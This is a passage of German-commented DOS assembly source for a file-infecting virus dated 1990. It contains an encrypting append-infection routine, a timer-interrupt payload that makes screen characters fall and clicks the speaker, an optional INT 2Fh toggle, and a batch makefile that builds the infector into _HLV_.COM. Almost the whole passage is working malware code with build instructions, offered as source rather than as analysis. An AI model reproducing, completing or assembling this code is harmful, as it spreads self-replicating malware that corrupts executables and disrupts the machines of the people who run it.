ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
DEMO_INFECT	PROC	NEAR				;
		push	ax				;
		push	cx				;
		in	al,61				;
		or	al,3				;
		out	61,al				;
		mov	al,0b6				;
		out	43,al				;
		mov	cx,0a				;
XI_026: 	dec	cx				;
		jz	XI_030				;
XI_027: 	mov	ax,200d 			;
XI_028: 	dec	ax				;
		cmp	ax,100d 			;
		jz	XI_031				;
		push	ax				;
		out	42,al				;
		push	cx				;
		mov	cx,150d 			;
XI_029: 	nop					;
		loop	XI_029				;
		pop	cx				;
		mov	al,ah				;
		out	42,al				;
		pop	ax				;
		jmp	XI_028				;
XI_030: 	in	al,61				;
		and	al,0fc				;
		out	61,al				;
		pop	cx				;
		pop	ax				;
		ret					;
XI_031: 	inc	ax				;
		cmp	ax,600d 			;
		jz	XI_026				;
		push	ax				;
		out	42,al				;
		push	cx				;
		mov	cx,150d 			;
XI_032: 	nop					;
		loop	XI_032				;
		pop	cx				;
		mov	al,ah				;
		out	42,al				;
		pop	ax				;
		jmp	XI_031				;
DEMO_INFECT	ENDP					;
							;
ELSE							;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur	       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Append_Virus	PROC	NEAR				;
		SAVE	ES,BX				;
		MOV	AH,MS_AllocMem			;----------;
		MOV	BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ;
		MSDOS					;----------;
		POP	BX				;
		JNB	XI_034				;
XI_033: 	STC					;
		POP	ES				;
		RET					;
XI_034: 	MOV	CS:[Crypt3],EnCrptd		;
		MOV	ES,AX				;
		MOV_S	DS,CS				;
		XOR	DI,DI				;
		MOV	SI,PSPsize			;
		MOV	CX,OFFSET EOFC			;
		CLD					;
		REPZ	MOVSB				;
		MOV	DI,OFFSET XI_003		;
		MOV	SI,OFFSET XR_001		;
		ADD	SI,[File_Size_lsb]		;
		MOV	CX,OFFSET EOFC - OFFSET XI_003	;
XI_035: 	XOR	ES:[DI],SI			;
		XOR	ES:[DI],CX			;
		INC	DI				;
		INC	SI				;
		LOOP	XI_035				;
		MOV	DS,AX				;
		MOV	AH,MS_Write			;
		XOR	DX,DX				;
		MOV	CX,OFFSET EOFC			;
		MSDOS					;
		SAVE	F,AX				;
		MOV	AH,MS_ReleaseMem		;
		MSDOS					;
		REST	AX,F				;
		MOV_S	DS,CS				;
		JB	XI_033				;
		CMP	AX,CX				;
		JNZ	XI_033				;
		POP	ES				;
		CLC					;
		RET					;
Append_Virus	ENDP					;
							;
ENDIF							;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	'Zufallszahlen' - Generator.    				       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Random		PROC	NEAR				;
		SAVE	DS				;
		MOV_S	DS,CS				;
		SAVE	BX,CX,DX,AX			;
		MOV	CX,7				;
		MOV	BX,offset LastRandom		;
		PUSH	[BX]				;
XI_036: 	MOV	AX,[BX-02]			;
		ADC	[BX],AX 			;
		DEC	BX				;
		DEC	BX				;
		LOOP	XI_036				;
		POP	AX				;
		ADC	[BX],AX 			;
		MOV	DX,[BX] 			;
		POP	AX				;
		OR	AX,AX				;
		JZ	XI_037				;
		MUL	DX				;
XI_037: 	MOV	AX,DX				;
		REST	DX,CX,BX,DS			;
		RET					;
Random		ENDP					;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Zeichen und Attribut aus Videospeicher auslesen.		       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Load_from_VRAM	PROC	NEAR				;
		SAVE	SI,DS,DX			;
		MOV	AL,DH				;
		MUL	[Num_of_Col]			;
		MOV	DH,0				;
		ADD	AX,DX				;
		SHL	AX,1				;
		ADD	AX,[Page_offset]		;
		MOV	SI,AX				;
		TEST	[Prevent_Snow?],-1		;
		MOV	DS,[Seg_of_VRAM]		;
		JZ	XI_038				;
		Wait_HRI_or_VRI 			;
XI_038: 	LODSW					;
		STI					;
		REST	DX,DS,SI			;
		RET					;
Load_from_VRAM	ENDP					;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Zeichen und Attribut (AX) in den Videospeicher schreiben.              ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Write_to_VRAM	PROC	NEAR				;
		SAVE	DI,ES,DX,BX			;
		MOV	BX,AX				;
		MOV	AL,DH				;
		MUL	[Num_of_Col]			;
		MOV	DH,0				;
		ADD	AX,DX				;
		SHL	AX,1				;
		ADD	AX,[Page_offset]		;
		MOV	DI,AX				;
		TEST	[Prevent_Snow?],-1		;
		MOV	ES,[Seg_of_VRAM]		;
		JZ	XI_039				;
		Wait_HRI_or_VRI 			;
XI_039: 	MOV	AX,BX				;
		STOSB					;
		STI					;
		REST	BX,DX,ES,DI			;
		RET					;
Write_to_VRAM	ENDP					;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Bit 0 von Port B des 8255 Chips zurcksetzen (IO-Adresse : &H61 ).     ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Toggle_Speaker	PROC	NEAR				;
		PUSH	AX				;
		IN	AL,PORT_B_8255			;
		XOR	AL,02				;
		AND	AL,0FE				;
		OUT	PORT_B_8255,AL			;
		POP	AX				;
		RET					;
Toggle_Speaker	ENDP					;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	CF gesetzt, wenn AL ein nicht darstellbares Zeichen enth„lt.           ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Is_it_blank_?	PROC	NEAR				;
		CMP	AL,0				;
		JZ	XI_040				;
		CMP	AL,20				;
		JZ	XI_040				;
		CMP	AL,-1				;
		JZ	XI_040				;
		CLC					;
		RET					;
XI_040: 	STC					;
		RET					;
Is_it_blank_?	ENDP					;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enth„lt.     ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Spec_Graphik?	PROC	NEAR				;
		CMP	AL,0B0				;
		JB	XI_041				;
		CMP	AL,0DF				;
		JA	XI_041				;
		STC					;
		RET					;
XI_041: 	CLC					;
		RET					;
Spec_Graphik?	ENDP					;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln.    ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
GetSysSpeed	PROC	NEAR				;
		PUSH	DS				;
		MOV	AX,BIOSDATASEG			;
		MOV	DS,AX				;
		STI					;
		MOV	AX,[B_TIMERVAR] 		;
XI_042: 	CMP	AX,[B_TIMERVAR] 		;
		JZ	XI_042				;
		XOR	CX,CX				;
		MOV	AX,[B_TIMERVAR] 		;
XI_043: 	INC	CX				;
		JZ	XI_045				;
		CMP	AX,[B_TIMERVAR] 		;
		JZ	XI_043				;
XI_044: 	POP	DS				;
		MOV	AX,CX				;
		XOR	DX,DX				;
		MOV	CX,0F				;
		DIV	CX				;
		MOV	CS:[Speed],AX			;
		RET					;
XI_045: 	DEC	CX				;
		JMP	XI_044				;
GetSysSpeed	ENDP					;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Verz”gern ( Verz”gerungszeit ist kaum maschinenabh„ngig ).             ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Delay		PROC	NEAR				;
		PUSH	CX				;
XI_046: 	PUSH	CX				;
		MOV	CX,[Speed]			;
XI_047: 	LOOP	XI_047				;
		POP	CX				;
		LOOP	XI_046				;
		POP	CX				;
		RET					;
Delay		ENDP					;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Eine neue Interrupt 1C(h) Behandlungsroutine.			       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
XI_048		LABEL	NEAR				;
XR_009		EQU	XI_048 + PSPsize		;----------;
		TEST	CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ;
		JZ	XI_049				;----------;
		JMP	XI_067				;
XI_049: 	OR	CS:[ISR_Flags],MASK R_in_1c	;
		DEC	CS:[XR_002]			;
		JZ	XI_050				;
		JMP	XI_066				;
XI_050: 	SAVE	DS,ES				;
		MOV_S	DS,CS				;
		MOV_S	ES,CS				;
		SAVE	AX,BX,CX,DX,SI,DI,BP		;
		MOV	AL,EOI_8259A			;
		OUT	PORT_B_8259A,AL 		;
		MOV	AX,[XR_003]			;
		CMP	AX,0438 			;
		JNB	XI_051				;
		MOV	AX,0438 			;
XI_051: 	CALL	Random				;
		INC	AX				;
		MOV	[XR_002],AX			;
		MOV	[XR_003],AX			;
		PUSH	DS				;
		MOV	AX,BIOSDATASEG			;
		MOV	DS,AX				;
		MOV	AX,[B_VidPage]			;
		POP	DS				;
		MOV	[Page_offset],AX		;
		MOV	[Last_Line],18			;
		MOV	DL,-1				;
		MOV	AX,1130 			;
		MOV	BH,0				;
		SAVE	ES,BP				;
		INT	10				;
		REST	BP,ES				;
		CMP	DL,-1				;
		JZ	XI_052				;
		MOV	[Last_Line],DL			;
XI_052: 	CALL	GetSysSpeed			;
		MOV	AH,0F				;
		INT	10				;
		MOV	[Num_of_Col],AH 		;
		MOV	[Prevent_Snow?],0		;
		MOV	[Seg_of_VRAM],MonoBase		;
		CMP	AL,07				;
		JZ	XI_054				;
		JB	XI_053				;
		JMP	XI_064				;
XI_053: 	MOV	[Seg_of_VRAM],ColorBase 	;
		CMP	AL,03				;
		JA	XI_054				;
		CMP	AL,02				;
		JB	XI_054				;
		MOV	[Prevent_Snow?],01		;
		MOV	AL,[Last_Line]			;
		INC	AL				;
		MUL	[Num_of_Col]			;
		MOV	[Num_of_char],AX		;
		MOV	AX,[XR_004]			;
		CMP	AX,[Num_of_char]		;
		JBE	XI_054				;
		MOV	AX,[Num_of_char]		;
XI_054: 	CALL	Random				;
		INC	AX				;
		MOV	SI,AX				;
XI_055: 	XOR	DI,DI				;
XI_056: 	INC	DI				;
		MOV	AX,[Num_of_char]		;
		SHL	AX,1				;
		CMP	DI,AX				;
		JBE	XI_057				;
		JMP	XI_064				;
XI_057: 	OR	[ISR_Flags],MASK Recf_1 	;
		MOV	AL,[Num_of_Col] 		;
		MOV	AH,0				;
		CALL	Random				;
		MOV	DL,AL				;
		MOV	AL,[Last_Line]			;
		MOV	AH,0				;
		CALL	Random				;
		MOV	DH,AL				;
		CALL	Load_from_VRAM			;
		CALL	Is_it_blank_?			;
		JB	XI_056				;
		CALL	Spec_Graphik?			;
		JB	XI_056				;
		MOV	[Last_Pair],AX			;
		MOV	CL,[Last_Line]			;
		MOV	CH,0				;
XI_058: 	INC	DH				;
		CMP	DH,[Last_Line]			;
		JA	XI_062				;
		CALL	Load_from_VRAM			;
		CMP	AH,[Last_Attr]			;
		JNZ	XI_062				;
		CALL	Is_it_blank_?			;
		JB	XI_060				;
XI_059: 	CALL	Spec_Graphik?			;
		JB	XI_062				;
		INC	DH				;
		CMP	DH,[Last_Line]			;
		JA	XI_062				;
		CALL	Load_from_VRAM			;
		CMP	AH,[Last_Attr]			;
		JNZ	XI_062				;
		CALL	Is_it_blank_?			;
		JNB	XI_059				;
		CALL	Toggle_Speaker			;
		DEC	DH				;
		CALL	Load_from_VRAM			;
		MOV	[Last_Char],AL			;
		INC	DH				;
XI_060: 	AND	[ISR_Flags],NOT MASK Recf_1	;
		DEC	DH				;
		MOV	AL,' '				;
		CALL	Write_to_VRAM			;
		INC	DH				;
		MOV	AL,[Last_Char]			;
		CALL	Write_to_VRAM			;
		JCXZ	XI_061				;
		CALL	Delay				;
		DEC	CX				;
XI_061: 	JMP	XI_058				;
XI_062: 	TEST	[ISR_Flags],MASK Recf_1 	;
		JZ	XI_063				;
		JMP	XI_056				;
XI_063: 	CALL	Toggle_Speaker			;
		DEC	SI				;
		JZ	XI_064				;
		JMP	XI_055				;
XI_064: 	IN	AL,PORT_B_8255			;
		AND	AL,0FC				;
		OUT	PORT_B_8255,AL			;
		MOV	AX,3				;
		CALL	Random				;
		INC	AX				;
		MUL	[XR_004]			;
		JNB	XI_065				;
		MOV	AX,-1				;
XI_065: 	MOV	[XR_004],AX			;
		REST	BP,DI,SI,DX,CX,BX,AX,ES,DS	;
XI_066: 	AND	CS:[ISR_Flags],NOT MASK R_in_1c ;
XI_067: 	JMP	DWORD PTR CS:[Org_Int_1C]	;
							;
IF	SWITCHABLE					;
							;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Implementierung eines neuen in CMD_2F definierten internen Befehls.    ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
XI_068		Label	Near				;
Int_2F_ISR	EQU	XI_068 + PSPsize		;
		CMP	AH,0AEH 			;
		JNZ	Int_2F_end			;
		CMP	DX,-1				;
		JNZ	Int_2F_end			;
		CMP	AL,0				;
		JNZ	Int_2F_2nd			;
		CALL	Decode_2F			;
		JNZ	Int_2F_end			;
		DEC	AL				;
		IRET					;
Int_2F_2nd:	CMP	AL,1				;
		JNZ	Int_2F_end			;
		CALL	Decode_2F			;
		JNZ	Int_2F_end			;
		SAVE	DS,DX,AX			;
		MOV_S	DS,CS				;
		XOR	[ISR_Flags],MASK ExtCom 	;
		MOV	DX,OFFSET MSG_ON		;
		TEST	[ISR_Flags],MASK ExtCom 	;
		JZ	XI_069				;
		MOV	DX,OFFSET MSG_OFF		;
XI_069: 	MOV	AH,9				;
		MSDOS					;
		REST	AX,DX,DS			;
		AND	BYTE PTR [SI],0 		;
		IRET					;
Int_2F_end:	JMP	DWORD PTR CS:[Org_Int_2F]	;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	šberprfen, ob der in CMD_2F definierte Befehl angesprochen wurde.     ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Decode_2F	PROC	NEAR				;
		SAVE	SI,DI,ES,CX			;
		MOV	CX,05				;
		MOV_S	ES,CS				;
		MOV	DI,OFFSET Cmd_2F		;
		CLD					;
		REPE	CMPSW				;
		REST	CX,ES,DI,SI			;
		RET					;
Decode_2F	ENDP					;
							;
ENDIF							;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Okay, das war's. Zum Schluá noch einige Definitionen.		       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
EOFC		EQU	THIS WORD			;
XR_010		EQU	OFFSET EOFC - 1 + FIRSTBASE	;
TEXT		ENDS					;
IF2							;----------------;
%Out	º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
%Out	ÈÍÍÍÍÍÍÍÍ (C) 1990 164A12565AA18213165556D3125C4B962712 ÍÍÍÍÍÍÍÍͼ
ENDIF									 ;
comment 								 #
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º									       º
º So k”nnte ein Batch - Makefile aussehen :                                    º
º                                                                              º
º @cls                                                                         º
º @if  %1.==.                     goto nopar                                   º
º @if  not exist %1.asm           goto noasm                                   º
º @ctty nul                                                                    º
º @del %1.obj                                                                  º
º @del %1.lst                                                                  º
º @del %1.crf                                                                  º
º @del %1.ref                                                                  º
º @del %1.map                                                                  º
º @del %1.exe                                                                  º
º @del %1.bin                                                                  º
º @del _HLV_.COM                                                               º
º @ctty con                                                                    º
º @masm /b63 %1,,%1,%1 %2 %3 %4;                                               º
º @if not exist %1.obj            goto masm_err                                º
º @link %1,,%1;                                                                º
º @if not exist %1.exe            goto link_err                                º
º @exe2bin %1;                                                                 º
º @if not exist %1.bin            goto exe2_err                                º
º @cref %1;                                                                    º
º @if not exist %1.ref            goto cref_err                                º
º @echo  			>> %1.lst                                      º
º @copy %1.lst+%1.map+%1.ref %1.t >  nul                                       º
º @del %1.lst 			>  nul                                         º
º @ren %1.t %1.lst 		>  nul                                         º
º @del %1.obj 			>  nul                                         º
º @del %1.crf 			>  nul                                         º
º @del %1.ref 			>  nul                                         º
º @del %1.map 			>  nul                                         º
º @del %1.exe 			>  nul                                         º
º @echo n %1.bin          	>  md.inp                                      º
º @echo l 11f             	>> md.inp                                      º
º @echo a 110             	>> md.inp                                      º
º @echo add cx,20         	>> md.inp                                      º
º @echo.                  	>> md.inp                                      º
º @echo g =110 113        	>> md.inp                                      º
º @echo f 110 11e 20      	>> md.inp                                      º
º @echo e 110 '%1'        	>> md.inp                                      º
º @echo f 100 10f 90      	>> md.inp                                      º
º @echo a 100             	>> md.inp                                      º
º @echo jmp 120           	>> md.inp                                      º
º @echo nop               	>> md.inp                                      º
º @echo nop               	>> md.inp                                      º
º @echo nop               	>> md.inp                                      º
º @echo mov ax,4c00       	>> md.inp                                      º
º @echo int 21            	>> md.inp                                      º
º @echo.                  	>> md.inp                                      º
º @echo n _HLV_.com       	>> md.inp                                      º
º @echo w                 	>> md.inp                                      º
º @echo q                 	>> md.inp                                      º
º @debug                  	<  md.inp  > nul                               º
º @cls                                                                         º
º @echo.                                                                       º
º @echo   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»   º
º @echo   º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º   º
º @echo   º°°°°°°°MAKEHLV erfolgreich beendet, _HLV_.com wurde erstellt.°°°º   º
º @echo   º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º   º
º @echo   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ   º
º @echo.                                                                       º
º @goto ende                                                                   º
º :nopar                                                                       º
º @echo FEHLER !    Mindestens ein Parameter ist erforderlich !                º
º @echo Syntax :    MAKEHLV asmfile [switches]                                 º
º @goto ende                                                                   º
º :noasm                                                                       º
º @echo FEHLER !    Die Datei %1.ASM ist nicht zu finden !                     º
º @goto ende                                                                   º
º :masm_err                                                                    º
º @echo FEHLER !    %1.OBJ konnte nicht erstellt werden !                      º
º @goto ende                                                                   º
º :link_err                                                                    º
º @echo FEHLER !    %1.EXE konnte nicht erstellt werden !                      º
º @goto ende                                                                   º
º :exe2_err                                                                    º
º @echo FEHLER !    %1.BIN konnte nicht erstellt werden !                      º
º @goto ende                                                                   º
º :cref_err                                                                    º
º @echo FEHLER !    %1.REF konnte nicht erstellt werden !                      º
º :ende                                                                        º
º									       º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
#
END